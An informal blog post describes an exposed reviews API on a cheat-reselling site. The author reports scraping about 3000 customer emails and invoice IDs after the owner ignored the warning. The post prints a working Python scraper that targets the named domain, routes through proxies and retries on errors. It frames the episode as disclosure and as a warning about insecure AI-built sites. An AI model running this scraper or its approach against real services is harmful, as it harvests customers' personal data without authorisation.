before you read: i have not leaked the information nor do i have any malicious intent. all data has been deleted after publishing this blog

what is “cheat-seller”?

cheat seller was a new and not so upcoming reselling platform for public cheats. they served as a middle man to offer alternative payment sources; as with every other cheat selling platform.

their entire platform was made purely with some low effort ai, this was a visible indicator when their site structure looked identical to alot of other poorly configured slop sites

one thing i know about ai is that it never double checks and audits any possible vulnerbilites

the disappointing thing about this vulnerbility is that, anyone with a brain could do it. there was no form of penetration such as “getting into the mainframe” or sql injecting whatever header

all their customer’s information was visible in the network tab LOL

cheat-seller

i informed the owner about this and he explained it was a simple one off fix and completely dismissed the severity of the situation

2 days later he still hadnt done anything, so i then scraped every productid to get their reviewid then simply just passed every single reviewid into their getreviews endpoint in which i was able to fetch ~3000+ order credentials.

def get_reviews(product_id, alt_product_id, product_name):
    url = (
        "https://cheatsmarket.com/api/reviews"
        f"?productId={product_id}"
        f"&altProductId={alt_product_id}"
        f"&productName={quote(product_name)}"
    )
    print(f"Fetching: {url}")

    while True:
        response = requests.get(url, headers=HEADERS, proxies=PROXIES)

        if response.status_code == 503:
            print("503 received")
            time.sleep(15)
            continue

        response.raise_for_status()
        break

    payload = response.json()

    if not payload.get("success"):
        raise ValueError(f"API returned success=false: {payload}")

    return payload.get("data", [])


def main():
    with open("products.json") as f:
        products = json.load(f)

    all_mail = {}

    for product in products:
        pid = product["shoppexProductId"]
        alt_pid = product["id"]
        name = product["name"]

        try:
            reviews = get_reviews(pid, alt_pid, name)
            trimmed = [
                {"customer_email": r.get("customer_email"), "invoice_id": r.get("invoice_id")}
                for r in reviews
            ]
            all_mail[pid] = {
                "invoice_id": name,
                "invoice_id": trimmed
            }
            print(f"OK: {name} ({len(trimmed)} reviews)")
        except requests.exceptions.HTTPError as e:
            print(f"FAILED: {name} — {e}")
        except ValueError as e:
            print(f"FAILED: {name} — {e}")

i did send the owner the script. i have not leaked any of the information.

after realizing the severity of the situation, his response was to close the site lol

from reading this i hope people realise the severity of utilising ai for development especially without consideration of user data. please manually check the security of your site, or at least ask the ai to check nothing is exposed at a minimum.